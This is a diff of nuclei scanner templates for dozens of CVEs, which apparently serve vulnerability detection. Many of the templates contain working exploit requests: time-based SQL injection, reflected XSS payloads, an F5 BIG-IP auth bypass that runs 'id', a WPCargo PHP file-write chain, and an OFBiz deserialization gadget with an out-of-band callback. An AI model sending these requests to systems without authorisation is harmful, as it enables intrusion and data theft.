     - https://nvd.nist.gov/vuln/detail/CVE-2020-14408
   metadata:
     verified: true
-  tags: cve,cve2022,cockpit,agentejo,xss,oss
+  tags: cve,cve2020,cockpit,agentejo,xss,oss
 
 requests:
   - method: GET

cves/2020/CVE-2020-16846.yaml

@@ -4,7 +4,8 @@ info:
   name: SaltStack <=3002 - Shell Injection
   author: dwisiswant0
   severity: critical
-  description: SaltStack Salt through 3002 allows an unauthenticated user with network access to the Salt API to use shell injections to run code on the Salt-API using the SSH client.
+  description: |
+    SaltStack Salt through 3002 allows an unauthenticated user with network access to the Salt API to use shell injections to run code on the Salt-API using the SSH client.
   reference:
     - https://saltproject.io/on-november-3-2020-saltstack-publicly-disclosed-three-new-cves/
     - https://mp.weixin.qq.com/s/R8qw_lWizGyeJS0jOcYXag
@@ -24,18 +25,24 @@ requests:
     body: "token=1337&client=ssh&tgt=*&fun=a&roster=projectdiscovery&ssh_priv=nuclei"
     headers:
       Content-Type: application/x-www-form-urlencoded # CherryPy will abort w/o define this header
+
     matchers-condition: and
     matchers:
+      - type: word
+        part: body
+        words:
+          - "An unexpected error occurred"
+
+      - type: dsl
+        dsl:
+          - regex("CherryPy\/([0-9.]+)", header) || regex("CherryPy ([0-9.]+)", body)
+
+      - type: word
+        part: header
+        words:
+          - "application/json"
+
       - type: status
         status:
           - 500
-      - type: word
-        words:
-          - "application/json"
-        part: header
-      - type: word
-        words:
-          - "An unexpected error occurred"
-        part: body
-
 # Enhanced by mp on 2022/04/27

cves/2020/CVE-2020-19625.yaml

@@ -7,9 +7,9 @@ info:
   description: |
     Gridx 1.3 is susceptible to remote code execution via tests/support/stores/test_grid_filter.php, which allows remote attackers to execute arbitrary code via crafted values submitted to the $query parameter.
   reference:
+    - http://mayoterry.com/file/cve/Remote_Code_Execution_Vulnerability_in_gridx_latest_version.pdf
     - https://github.com/oria/gridx/issues/433
     - https://nvd.nist.gov/vuln/detail/CVE-2020-19625
-    - http://mayoterry.com/file/cve/Remote_Code_Execution_Vulnerability_in_gridx_latest_version.pdf
   classification:
     cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
     cvss-score: 9.8
@@ -19,23 +19,18 @@ info:
 requests:
   - method: GET
     path:
-      - "{{BaseURL}}/tests/support/stores/test_grid_filter.php?query=phpinfo();"
+      - "{{BaseURL}}/tests/support/stores/test_grid_filter.php?query=echo%20md5%28%22CVE-2020-19625%22%29%3B"
 
     matchers-condition: and
     matchers:
+
+      - type: word
+        part: body
+        words:
+          - "6ca86c2c17047c14437f55c42c801c10"
+
       - type: status
         status:
           - 200
-      - type: word
-        words:
-          - "PHP Extension"
-          - "PHP Version"
-        condition: and
-    extractors:
-      - type: regex
-        part: body
-        group: 1
-        regex:
-          - '<h1 class=\"p\">PHP Version ([0-9.]+)<\/h1>'
 
 # Enhanced by mp on 2022/04/27

cves/2020/CVE-2020-21012.yaml

@@ -0,0 +1,39 @@
+id: CVE-2020-21012
+
+info:
+  name: Sourcecodester Hotel and Lodge Management System 2.0 - SQL Injection
+  author: edoardottt
+  severity: critical
+  description: |
+    Sourcecodester Hotel and Lodge Management System 2.0 contains a SQL injection vulnerability via the email parameter to the edit page for Customer, Room, Currency, Room Booking Details, or Tax Details. An attacker can possibly obtain sensitive information, modify data, and/or execute unauthorized administrative operations in the context of the affected site.
+  reference:
+    - https://github.com/hitIer/web_test/tree/master/hotel
+    - https://www.sourcecodester.com/php/13707/hotel-and-lodge-management-system.html
+    - https://nvd.nist.gov/vuln/detail/CVE-2020-21012
+  classification:
+    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
+    cvss-score: 9.8
+    cve-id: CVE-2020-21012
+    cwe-id: CWE-89
+  metadata:
+    verified: "true"
+  tags: cve,cve2020,hotel,sqli,unauth
+
+requests:
+  - raw:
+      - |
+        POST /forgot_password.php HTTP/1.1
+        Host: {{Hostname}}
+        Content-Type: application/x-www-form-urlencoded
+
+        btn_forgot=1&email=1%27%20or%20sleep(6)%23
+
+    matchers:
+      - type: dsl
+        dsl:
+          - 'duration>=6'
+          - 'status_code == 200'
+          - 'contains(body, "Hotel Booking System")'
+        condition: and
+
+# Enhanced by md on 2022/12/08

cves/2020/CVE-2020-24902.yaml

@@ -0,0 +1,48 @@
+id: CVE-2020-24902
+
+info:
+  name: Quixplorer <=2.4.1 - Cross-Site Scripting
+  author: edoardottt
+  severity: medium
+  description: |
+    Quixplorer through 2.4.1 contains a cross-site scripting vulnerability. An attacker can inject arbitrary script in the browser of an unsuspecting user in the context of the affected site, which can allow the attacker to steal cookie-based authentication credentials and launch other attacks.
+  reference:
+    - https://dl.packetstormsecurity.net/1804-exploits/quixplorer241beta-xss.txt
+    - https://nvd.nist.gov/vuln/detail/CVE-2020-24902
+  classification:
+    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
+    cvss-score: 6.1
+    cve-id: CVE-2020-24902
+    cwe-id: CWE-79
+  metadata:
+    google-dork: intitle:"My Download Server"
+    shodan-query: http.title:"My Download Server"
+    verified: "true"
+  tags: cve,cve2020,quixplorer,xss
+
+requests:
+  - method: GET
+    path:
+      - '{{BaseURL}}/index.php?action=post&order=bszop%22%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E'
+
+    host-redirects: true
+    max-redirects: 2
+    matchers-condition: and
+    matchers:
+      - type: word
+        part: body
+        words:
+          - "<script>alert(document.domain)</script>&srt=yes"
+          - "My Download"
+        condition: and
+
+      - type: word
+        part: header
+        words:
+          - text/html
+
+      - type: status
+        status:
+          - 200
+
+# Enhanced by md on 2022/12/08

cves/2020/CVE-2020-24903.yaml

@@ -0,0 +1,45 @@
+id: CVE-2020-24903
+
+info:
+  name: Cute Editor for ASP.NET 6.4 - Cross-Site Scripting
+  author: edoardottt
+  severity: medium
+  description: |
+    Cute Editor for ASP.NET 6.4 contains a cross-site scripting vulnerability. An attacker can inject arbitrary script in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.
+  reference:
+    - https://seclists.org/bugtraq/2016/Mar/104
+    - https://nvd.nist.gov/vuln/detail/CVE-2020-24903
+  classification:
+    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
+    cvss-score: 6.1
+    cve-id: CVE-2020-24903
+    cwe-id: CWE-79
+  metadata:
+    shodan-query: http.component:"ASP.NET"
+    verified: "true"
+  tags: cve,cve2020,cuteeditor,xss,seclists
+
+requests:
+  - method: GET
+    path:
+      - '{{BaseURL}}/CuteSoft_Client/CuteEditor/Template.aspx?Referrer=XSS";><script>alert(document.domain)</script>'
+
+    matchers-condition: and
+    matchers:
+      - type: word
+        part: body
+        words:
+          - "<script>alert(document.domain)</script></p>"
+          - "System.Web"
+        condition: and
+
+      - type: word
+        part: header
+        words:
+          - text/html
+
+      - type: status
+        status:
+          - 200
+
+# Enhanced by md on 2022/12/08

cves/2020/CVE-2020-25213.yaml

@@ -4,7 +4,7 @@ id: CVE-2020-25213
 # http://localhost/wp-content/plugins/wp-file-manager/lib/files/poc.txt
 
 info:
-  name: WordPress File Manager Plugin Remote Code Execution
+  name: WordPress File Manager Plugin - Remote Code Execution
   author: foulenzer
   severity: critical
   description: The WordPress File Manager plugin prior to version 6.9 is susceptible to remote code execution. The vulnerability allows unauthenticated remote attackers to upload .php files.

cves/2020/CVE-2020-25223.yaml

@@ -1,7 +1,7 @@
 id: CVE-2020-25223
 
 info:
-  name: Sophos UTM Preauth Remote Code Execution
+  name: Sophos UTM Preauth - Remote Code Execution
   author: gy741
   severity: critical
   description: Sophos SG UTMA WebAdmin is susceptible to a remote code execution vulnerability in versions before v9.705 MR5, v9.607 MR7, and v9.511 MR11.

cves/2020/CVE-2020-25506.yaml

@@ -1,7 +1,7 @@
 id: CVE-2020-25506
 
 info:
-  name: D-Link DNS-320 Unauthenticated Remote Code Execution
+  name: D-Link DNS-320 - Unauthenticated Remote Code Execution
   author: gy741
   severity: critical
   description: D-Link DNS-320 FW v2.06B01 Revision Ax is susceptible to a command injection vulnerability in a system_mgr.cgi component. The component does not successfully sanitize the value of the HTTP parameters f_ntp_server, which in turn leads to arbitrary command execution.

cves/2020/CVE-2020-2551.yaml

@@ -1,7 +1,7 @@
 id: CVE-2020-2551
 
 info:
-  name: Oracle WebLogic Server Remote Code Execution
+  name: Oracle WebLogic Server - Remote Code Execution
   author: dwisiswant0
   severity: critical
   description: |

cves/2020/CVE-2020-26248.yaml

@@ -0,0 +1,40 @@
+id: CVE-2020-26248
+
+info:
+  name: PrestaShop Product Comments <4.2.0 - SQL Injection
+  author: edoardottt
+  severity: high
+  description: |
+    PrestaShop Product Comments module before version 4.2.1 contains a SQL injection vulnerability, An attacker can use a blind SQL injection to retrieve data or stop the MySQL service, thereby possibly obtaining sensitive information, modifying data, and/or executing unauthorized administrative operations in the context of the affected site.
+  reference:
+    - https://packetstormsecurity.com/files/160539/PrestaShop-ProductComments-4.2.0-SQL-Injection.html
+    - https://packagist.org/packages/prestashop/productcomments
+    - https://github.com/PrestaShop/productcomments/security/advisories/GHSA-5v44-7647-xfw9
+    - https://nvd.nist.gov/vuln/detail/CVE-2020-26248
+  remediation: Fixed in 4.2.1.
+  classification:
+    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:H
+    cvss-score: 8.2
+    cve-id: CVE-2020-26248
+    cwe-id: CWE-89
+  metadata:
+    verified: "true"
+  tags: cve,cve2020,sqli,prestshop,packetstorm
+
+requests:
+  - raw:
+      - |
+        @timeout: 20s
+        GET /index.php?fc=module&module=productcomments&controller=CommentGrade&id_products%5B%5D=(select*from(select(sleep(6)))a) HTTP/1.1
+        Host: {{Hostname}}
+
+    matchers:
+      - type: dsl
+        dsl:
+          - 'duration>=6'
+          - 'status_code == 200'
+          - 'contains(content_type, "application/json")'
+          - 'contains(body, "average_grade")'
+        condition: and
+
+# Enhanced by md on 2022/12/08

cves/2020/CVE-2020-29284.yaml

@@ -0,0 +1,45 @@
+id: CVE-2020-29284
+
+info:
+  name: Sourcecodester Multi Restaurant Table Reservation System 1.0 - SQL Injection
+  author: edoardottt
+  severity: critical
+  description: |
+    Sourcecodester Multi Restaurant Table Reservation System 1.0 contains a SQL injection vulnerability via the file view-chair-list.php. It does not perform input validation on the table_id parameter, which allows unauthenticated SQL injection. An attacker can send malicious input in the GET request to /dashboard/view-chair-list.php?table_id= to trigger the vulnerability.
+  reference:
+    - https://www.exploit-db.com/exploits/48984
+    - https://www.sourcecodester.com/sites/default/files/download/janobe/tablereservation.zip
+    - https://github.com/BigTiger2020/-Multi-Restaurant-Table-Reservation-System/blob/main/README.md
+    - https://nvd.nist.gov/vuln/detail/CVE-2020-29284
+  classification:
+    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
+    cvss-score: 9.8
+    cve-id: CVE-2020-29284
+    cwe-id: CWE-89
+  metadata:
+    verified: "true"
+  tags: cve2020,tablereservation,sqli,unauth,edb,cve
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/dashboard/view-chair-list.php?table_id='+AND+(SELECT+1+FROM+(SELECT(SLEEP(6)))a)--+-"
+
+    matchers-condition: and
+    matchers:
+      - type: dsl
+        dsl:
+          - 'duration>=6'
+
+      - type: word
+        part: body
+        words:
+          - "Restaurent Tables"
+          - "Chair List"
+        condition: and
+
+      - type: status
+        status:
+          - 200
+
+# Enhanced by md on 2022/12/08

cves/2020/CVE-2020-35476.yaml

@@ -4,16 +4,17 @@ info:
   name: OpenTSDB <= 2.4.0 - Remote Code Execution
   author: pikpikcu
   severity: critical
-  description: "OpenTSDB through 2.4.0 and earlier is susceptible to remote code execution via the yrange parameter written to a gnuplot file in the /tmp directory."
+  description: OpenTSDB through 2.4.0 and earlier is susceptible to remote code execution via the yrange parameter written to a gnuplot file in the /tmp directory.
   reference:
     - https://github.com/OpenTSDB/opentsdb/issues/2051
     - https://nvd.nist.gov/vuln/detail/CVE-2020-35476
+    - http://packetstormsecurity.com/files/170331/OpenTSDB-2.4.0-Command-Injection.html
   classification:
     cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
     cvss-score: 9.8
     cve-id: CVE-2020-35476
     cwe-id: CWE-78
-  tags: cve,cve2020,opentsdb,rce
+  tags: cve,cve2020,opentsdb,rce,packetstorm
 
 requests:
   - method: GET

cves/2020/CVE-2020-35729.yaml

@@ -1,7 +1,7 @@
 id: CVE-2020-35729
 
 info:
-  name: Klog Server <=2.41- Unauthenticated Command Injection
+  name: Klog Server <=2.41 - Unauthenticated Command Injection
   author: dwisiswant0
   severity: critical
   description: Klog Server 2.4.1 and prior is susceptible to an unauthenticated command injection vulnerability. The `authenticate.php` file uses the `user` HTTP POST parameter in a call to the `shell_exec()` PHP function without appropriate input validation, allowing arbitrary command execution as the apache user. The sudo configuration permits the Apache user to execute any command as root without providing a password, resulting in privileged command execution as root. Originated from Metasploit module, copyright (c) space-r7.

cves/2020/CVE-2020-35846.yaml

@@ -1,7 +1,7 @@
 id: CVE-2020-35846
 
 info:
-  name: Agentejo Cockpit < 0.11.2 NoSQL Injection
+  name: Agentejo Cockpit < 0.11.2 - NoSQL Injection
   author: dwisiswant0
   severity: critical
   description: Agentejo Cockpit before 0.11.2 allows NoSQL injection via the Controller/Auth.php check function. The $eq operator matches documents where the value of a field equals the specified value.

cves/2020/CVE-2020-35847.yaml

@@ -1,7 +1,7 @@
 id: CVE-2020-35847
 
 info:
-  name: Agentejo Cockpit <0.11.2 NoSQL Injection
+  name: Agentejo Cockpit <0.11.2 - NoSQL Injection
   author: dwisiswant0
   severity: critical
   description: Agentejo Cockpit before 0.11.2 allows NoSQL injection via the Controller/Auth.php resetpassword function of the Auth controller.

cves/2021/CVE-2021-20114.yaml

@@ -1,7 +1,7 @@
 id: CVE-2021-20114
 
 info:
-  name: TCExam <= 14.8.1 Sensitive Information Exposure
+  name: TCExam <= 14.8.1 - Sensitive Information Exposure
   author: push4d
   severity: high
   description: When installed following the default/recommended settings, TCExam <= 14.8.1 allowed unauthenticated users to access the /cache/backup/ directory, which includes sensitive database backup files.

cves/2021/CVE-2021-20323.yaml

@@ -0,0 +1,54 @@
+id: CVE-2021-20323
+
+info:
+  name: Keycloak < 18.0.0 - Cross Site Scripting
+  author: ndmalc
+  severity: medium
+  description: |
+    Keycloak before 18.0.0 and after 10.0.0 allows a reflected XSS on client-registrations endpoint. On POST request, when a request is submitted, the application does not sanitize unknown attribute name before including it in the error response with a 'Content-Type' of text/hml. Once reflected, the response is interpreted as html. This can be performed on any realm present on the Keycloak instance. Currently, due to the bug requiring Content-Type application/json and is submitted via a POST, there is no common path to exploit that have a user impact.
+  reference:
+    - https://github.com/keycloak/keycloak/security/advisories/GHSA-m98g-63qj-fp8j
+    - https://bugzilla.redhat.com/show_bug.cgi?id=2013577
+    - https://access.redhat.com/security/cve/CVE-2021-20323
+    - https://github.com/ndmalc/CVE-2021-20323
+    - https://github.com/keycloak/keycloak/commit/3aa3db16eac9b9ed8c5335ac86f5f50e0c68662d
+    - https://nvd.nist.gov/vuln/detail/CVE-2021-20323
+  classification:
+    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
+    cvss-score: 6.1
+    cve-id: CVE-2021-20323
+    cwe-id: CWE-79
+  metadata:
+    shodan-query: html:"Keycloak"
+    verified: "true"
+  tags: cve,cve2021,keycloak,xss
+
+requests:
+  - method: POST
+    path:
+      - "{{BaseURL}}/auth/realms/master/clients-registrations/default"
+      - "{{BaseURL}}/auth/realms/master/clients-registrations/openid-connect"
+      - "{{BaseURL}}/realms/master/clients-registrations/default"
+      - "{{BaseURL}}/realms/master/clients-registrations/openid-connect"
+
+    headers:
+      Content-Type: application/json
+
+    body: "{\"Test<img src=x onerror=alert(document.domain)>\":1}"
+
+    stop-at-first-match: true
+    matchers-condition: and
+    matchers:
+      - type: word
+        part: body
+        words:
+          - 'Unrecognized field "Test<img src=x onerror=alert(document.domain)>'
+
+      - type: word
+        part: header
+        words:
+          - text/html
+
+      - type: status
+        status:
+          - 400

cves/2021/CVE-2021-22986.yaml

@@ -1,19 +1,18 @@
 id: CVE-2021-22986
-
 info:
-  name: F5 BIG-IP iControl REST - Remote Command Execution
+  name: F5 BIG-IP iControl REST unauthenticated RCE
   author: rootxharsh,iamnoooob
   severity: critical
-  description: F5 BIG-IP iControl REST interface is susceptible to an unauthenticated remote command execution vulnerability.
+  description: The iControl REST interface has an unauthenticated remote command execution vulnerability.
   reference:
     - https://attackerkb.com/topics/J6pWeg5saG/k03009991-icontrol-rest-unauthenticated-remote-command-execution-vulnerability-cve-2021-22986
     - https://support.f5.com/csp/article/K03009991
-    - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-22986
+    - http://packetstormsecurity.com/files/162059/F5-iControl-Server-Side-Request-Forgery-Remote-Command-Execution.html
   classification:
     cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
     cvss-score: 9.8
     cve-id: CVE-2021-22986
-  tags: bigip,cve,cve2021,rce,mirai,kev
+  tags: bigip,cve,cve2021,rce,kev,packetstorm
 
 requests:
   - raw:
@@ -24,6 +23,7 @@ requests:
         Authorization: Basic YWRtaW46
         Content-Type: application/json
         Cookie: BIGIPAuthCookie=1234
+        Connection: close
 
         {"username":"admin","userReference":{},"loginReference":{"link":"http://localhost/mgmt/shared/gossip"}}
       - |
@@ -32,6 +32,7 @@ requests:
         Accept-Language: en
         X-F5-Auth-Token: {{token}}
         Content-Type: application/json
+        Connection: close
 
         {"command":"run","utilCmdArgs":"-c id"}
 
@@ -43,7 +44,6 @@ requests:
         group: 1
         regex:
           - "([A-Z0-9]{26})"
-
       - type: regex
         part: body
         group: 1
@@ -56,5 +56,3 @@ requests:
           - "commandResult"
           - "uid="
         condition: and
-
-# Enhanced by mp on 2022/05/05

cves/2021/CVE-2021-24827.yaml

@@ -0,0 +1,37 @@
+id: CVE-2021-24827
+
+info:
+  name: Asgaros Forum < 1.15.13 - Unauthenticated SQL Injection
+  author: theamanrawat
+  severity: critical
+  description: |
+    The Asgaros Forum WordPress plugin before 1.15.13 does not validate and escape user input when subscribing to a topic before using it in a SQL statement, leading to an unauthenticated SQL injection issue.
+  reference:
+    - https://wpscan.com/vulnerability/36cc5151-1d5e-4874-bcec-3b6326235db1
+    - https://wordpress.org/plugins/asgaros-forum/
+    - https://nvd.nist.gov/vuln/detail/CVE-2021-24827
+    - https://plugins.trac.wordpress.org/changeset/2611560/asgaros-forum
+  classification:
+    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
+    cvss-score: 9.8
+    cve-id: CVE-2021-24827
+    cwe-id: CWE-89
+  metadata:
+    verified: "true"
+  tags: cve2022,wp-plugin,asgaros-forum,unauth,wpscan,cve,wordpress,wp,sqli
+
+requests:
+  - raw:
+      - |
+        @timeout: 15s
+        GET /forum/?subscribe_topic=1%20union%20select%201%20and%20sleep(6) HTTP/1.1
+        Host: {{Hostname}}
+
+    matchers:
+      - type: dsl
+        dsl:
+          - 'duration>=6'
+          - 'status_code == 200'
+          - 'contains(content_type, "text/html")'
+          - 'contains(body, "asgarosforum")'
+        condition: and

cves/2021/CVE-2021-24997.yaml

@@ -18,7 +18,7 @@ info:
   tags: wordpress,guppy,api,cve2021,cve,wp-plugin,edb,wpscan
 
 requests:
-  - method:
+  - method: GET
     path:
       - "{{BaseURL}}/wp-json/guppy/v2/load-guppy-users?userId=1&offset=0&search="
 

cves/2021/CVE-2021-25003.yaml

@@ -0,0 +1,51 @@
+id: CVE-2021-25003
+
+info:
+  name: WPCargo < 6.9.0 - Unauthenticated Remote Code Execution
+  author: theamanrawat
+  severity: critical
+  description: |
+    The WPCargo Track & Trace WordPress plugin before 6.9.0 contains a file which could allow unauthenticated attackers to write a PHP file anywhere on the web server, leading to RCE.
+  reference:
+    - https://wpscan.com/vulnerability/5c21ad35-b2fb-4a51-858f-8ffff685de4a
+    - https://wordpress.org/plugins/wpcargo/
+    - https://nvd.nist.gov/vuln/detail/CVE-2021-25003
+  classification:
+    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
+    cvss-score: 9.8
+    cve-id: CVE-2021-25003
+    cwe-id: CWE-434
+  metadata:
+    verified: "true"
+  tags: rce,wpcargo,unauth,cve,cve2021,wordpress,wp,wp-plugin,wpscan
+
+variables:
+  num: "999999999"
+
+requests:
+  - raw:
+      - |
+        GET /wp-content/plugins/wpcargo/includes/{{randstr}}.php HTTP/1.1
+        Host: {{Hostname}}
+
+      - |
+        GET /wp-content/plugins/wpcargo/includes/barcode.php?text=x1x1111x1xx1xx111xx11111xx1x111x1x1x1xxx11x1111xx1x11xxxx1xx1xxxxx1x1x1xx1x1x11xx1xxxx1x11xx111xxx1xx1xx1x1x1xxx11x1111xxx1xxx1xx1x111xxx1x1xx1xxx1x1x1xx1x1x11xxx11xx1x11xx111xx1xxx1xx11x1x11x11x1111x1x11111x1x1xxxx&sizefactor=.090909090909&size=1&filepath={{randstr}}.php HTTP/1.1
+        Host: {{Hostname}}
+
+      - |
+        POST /wp-content/plugins/wpcargo/includes/{{randstr}}.php?1=var_dump HTTP/1.1
+        Host: {{Hostname}}
+        Content-Type: application/x-www-form-urlencoded
+
+        2={{md5(num)}}
+
+    req-condition: true
+    matchers:
+      - type: dsl
+        dsl:
+          - "status_code_1 != 200"
+          - "status_code_2 == 200"
+          - "status_code_3 == 200"
+          - "contains(body_3, md5(num))"
+          - "contains(body_3, 'PNG')"
+        condition: and

cves/2021/CVE-2021-25099.yaml

@@ -0,0 +1,38 @@
+id: CVE-2021-25099
+
+info:
+  name: Give < 2.17.3 - Cross-Site Scripting
+  author: theamanrawat
+  severity: medium
+  description: |
+    The GiveWP WordPress plugin before 2.17.3 does not sanitise and escape the form_id parameter before outputting it back in the response of an unauthenticated request via the give_checkout_login AJAX action, leading to a Reflected Cross-Site Scripting.
+  reference:
+    - https://wpscan.com/vulnerability/87a64b27-23a3-40f5-a3d8-0650975fee6f
+    - https://wordpress.org/plugins/give/
+    - https://nvd.nist.gov/vuln/detail/CVE-2021-25099
+  classification:
+    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
+    cvss-score: 6.1
+    cve-id: CVE-2021-25099
+    cwe-id: CWE-79
+  metadata:
+    verified: "true"
+  tags: give,unauth,cve2021,wordpress,wp-plugin,xss,cve,wp,wpscan
+
+requests:
+  - raw:
+      - |
+        POST /wp-admin/admin-ajax.php HTTP/1.1
+        Host: {{Hostname}}
+        Content-Type: application/x-www-form-urlencoded; charset=UTF-8
+
+        action=give_checkout_login&form_id=xxxxxx"><script>alert(document.domain)</script>
+
+    matchers:
+      - type: dsl
+        dsl:
+          - 'status_code == 200'
+          - 'contains(content_type, "text/html")'
+          - 'contains(body, "<script>alert(document.domain)</script>")'
+          - 'contains(body, "give_user_login")'
+        condition: and

cves/2021/CVE-2021-30128.yaml

@@ -0,0 +1,58 @@
+id: CVE-2021-30128
+
+info:
+  name: Apache OFBiz <17.12.07 - Arbitrary Code Execution
+  author: For3stCo1d
+  severity: critical
+  description: Apache OFBiz has unsafe deserialization prior to 17.12.07 version
+  reference:
+    - https://lists.apache.org/thread.html/rbe8439b26a71fc3b429aa793c65dcc4a6e349bc7bb5010746a74fa1d@%3Ccommits.ofbiz.apache.org%3E
+    - https://nvd.nist.gov/vuln/detail/CVE-2021-30128
+    - https://lists.apache.org/thread.html/rb3f5cd65f3ddce9b9eb4d6ea6e2919933f0f89b15953769d11003743%40%3Cdev.ofbiz.apache.org%3E
+    - https://lists.apache.org/thread.html/rb3f5cd65f3ddce9b9eb4d6ea6e2919933f0f89b15953769d11003743@%3Cdev.ofbiz.apache.org%3E
+  classification:
+    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
+    cvss-score: 9.8
+    cve-id: CVE-2021-30128
+    cwe-id: CWE-502
+  metadata:
+    fofa-query: app="Apache_OFBiz"
+    verified: "true"
+  tags: cve,cve2021,apache,ofbiz,deserialization,rce
+
+requests:
+  - raw:
+      - |
+        POST /webtools/control/SOAPService HTTP/1.1
+        Host: {{Hostname}}
+        Content-Type: text/xml
+
+        <soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:ser="http://ofbiz.apache.org/service/">
+          <soapenv:Header/>
+            <soapenv:Body>
+              <ser>
+                <map-Map>
+                  <map-Entry>
+                    <map-Key>
+                      <cus-obj>{{generate_java_gadget("dns", "https://{{interactsh-url}}", "hex")}}</cus-obj>
+                    </map-Key>
+                  <map-Value>
+                <std-String/>
+                </map-Value>
+                </map-Entry>
+              </map-Map>
+              </ser>
+            </soapenv:Body>
+        </soapenv:Envelope>
+
+    matchers-condition: and
+    matchers:
+      - type: word
+        part: interactsh_protocol
+        words:
+          - "dns"
+
+      - type: word
+        part: body
+        words:
+          - 'value="errorMessage"'

cves/2021/CVE-2021-3110.yaml

@@ -0,0 +1,37 @@
+id: CVE-2021-3110
+
+info:
+  name: PrestaShop 1.7.7.0 - SQL Injection
+  author: Jaimin Gondaliya
+  severity: critical
+  description: |
+    PrestaShop 1.7.7.0 contains a SQL injection vulnerability via the store system. It allows time-based boolean SQL injection via the module=productcomments controller=CommentGrade id_products[] parameter. An attacker can possibly obtain sensitive information, modify data, and/or execute unauthorized administrative operations in the context of the affected site.
+  reference:
+    - https://medium.com/@gondaliyajaimin797/cve-2021-3110-75a24943ca5e
+    - https://www.exploit-db.com/exploits/49410
+    - https://nvd.nist.gov/vuln/detail/CVE-2021-3110
+  classification:
+    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
+    cvss-score: 9.8
+    cve-id: CVE-2021-3110
+    cwe-id: CWE-89
+  metadata:
+    verified: "true"
+  tags: cve,cve2021,sqli,prestshop,edb
+requests:
+  - raw:
+      - |
+        @timeout: 20s
+        GET /index.php?fc=module&module=productcomments&controller=CommentGrade&id_products[]=1%20AND%20(SELECT%203875%20FROM%20(SELECT(SLEEP(6)))xoOt) HTTP/1.1
+        Host: {{Hostname}}
+
+    matchers:
+      - type: dsl
+        dsl:
+          - 'duration>=6'
+          - 'status_code == 200'
+          - 'contains(content_type, "application/json")'
+          - 'contains(body, "average_grade")'
+        condition: and
+
+# Enhanced by md on 2022/12/08

cves/2021/CVE-2021-31682.yaml

@@ -1,7 +1,7 @@
 id: CVE-2021-31682
 
 info:
-  name: WebCTRL OEM <= 6.5 Cross-Site Scripting
+  name: WebCTRL OEM <= 6.5 - Cross-Site Scripting
   author: gy741,dhiyaneshDk
   severity: medium
   description: WebCTRL OEM 6.5 and prior is susceptible to a cross-site scripting vulnerability because the login portal does not sanitize the operatorlocale GET parameter.

cves/2021/CVE-2021-32853.yaml

@@ -8,6 +8,8 @@ info:
   reference:
     - https://securitylab.github.com/advisories/GHSL-2021-103-erxes/
     - https://nvd.nist.gov/vuln/detail/CVE-2021-3285
+    - https://github.com/erxes/erxes/blob/f131b49add72032650d483f044d00658908aaf4a/widgets/server/views/widget.ejs#L14
+    - https://github.com/erxes/erxes/blob/f131b49add72032650d483f044d00658908aaf4a/widgets/server/index.ts#L54
   classification:
     cve-id: CVE-2021-32853
   metadata:

cves/2021/CVE-2021-33851.yaml

@@ -1,11 +1,11 @@
 id: CVE-2021-33851
 
 info:
-  name: Customize Login Image < 3.5.3 - Cross-Site Scripting
+  name: WordPress Customize Login Image <3.5.3 - Cross-Site Scripting
   author: 8authur
   severity: medium
   description: |
-    A cross-site scripting (XSS) attack can cause arbitrary code (JavaScript) to run in a user's browser and can use an application as the vehicle for the attack. The XSS payload given in the "Custom logo link" executes whenever the user opens the Settings Page of the "Customize Login Image" Plugin.
+    WordPress Customize Login Image plugin prior to 3.5.3 contains a cross-site scripting vulnerability via the custom logo link on the Settings page. This can allow an attacker to steal cookie-based authentication credentials and launch other attacks.
   reference:
     - https://wpscan.com/vulnerability/c67753fb-9111-453e-951f-854c6ce31203
     - https://cybersecurityworks.com/zerodays/cve-2021-33851-stored-cross-site-scripting-in-wordpress-customize-login-image.html
@@ -62,3 +62,5 @@ requests:
         regex:
           - 'name="_wpnonce" value="([0-9a-zA-Z]+)"'
         internal: true
+
+# Enhanced by md on 2022/12/08

cves/2021/CVE-2021-35380.yaml

@@ -15,7 +15,7 @@ info:
     cvss-score: 7.5
     cve-id: CVE-2021-35380
     cwe-id: CWE-22
-  tags: cve,cve2022,termtalk,lfi,unauth,lfr,edb
+  tags: cve,cve2021,termtalk,lfi,unauth,lfr,edb
 
 requests:
   - method: GET

cves/2021/CVE-2021-35587.yaml

@@ -16,8 +16,10 @@ info:
     cve-id: CVE-2021-35587
     cwe-id: CWE-502
   metadata:
+    verified: true
     fofa-query: body="/oam/pages/css/login_page.css"
-  tags: cve,cve2021,oam,rce,java,unauth,oracle
+    shodan-query: http.title:"Oracle Access Management"
+  tags: cve,cve2021,oam,rce,java,unauth,oracle,kev
 
 requests:
   - method: GET

cves/2021/CVE-2021-37704.yaml

@@ -1,7 +1,7 @@
 id: CVE-2021-37704
 
 info:
-  name: phpinfo Resource Exposure
+  name: phpfastcache - phpinfo Resource Exposure
   author: whoever
   severity: medium
   description: phpinfo() is susceptible to resource exposure in unprotected composer vendor folders via phpfastcache/phpfastcache.
